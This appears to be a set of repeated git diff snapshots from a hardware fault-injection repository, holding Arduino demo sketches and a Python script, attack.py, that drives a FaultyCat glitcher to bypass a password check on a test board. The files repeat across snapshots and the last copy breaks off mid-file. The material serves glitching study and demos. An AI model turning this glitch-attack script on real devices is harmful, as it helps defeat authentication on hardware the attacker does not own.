diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
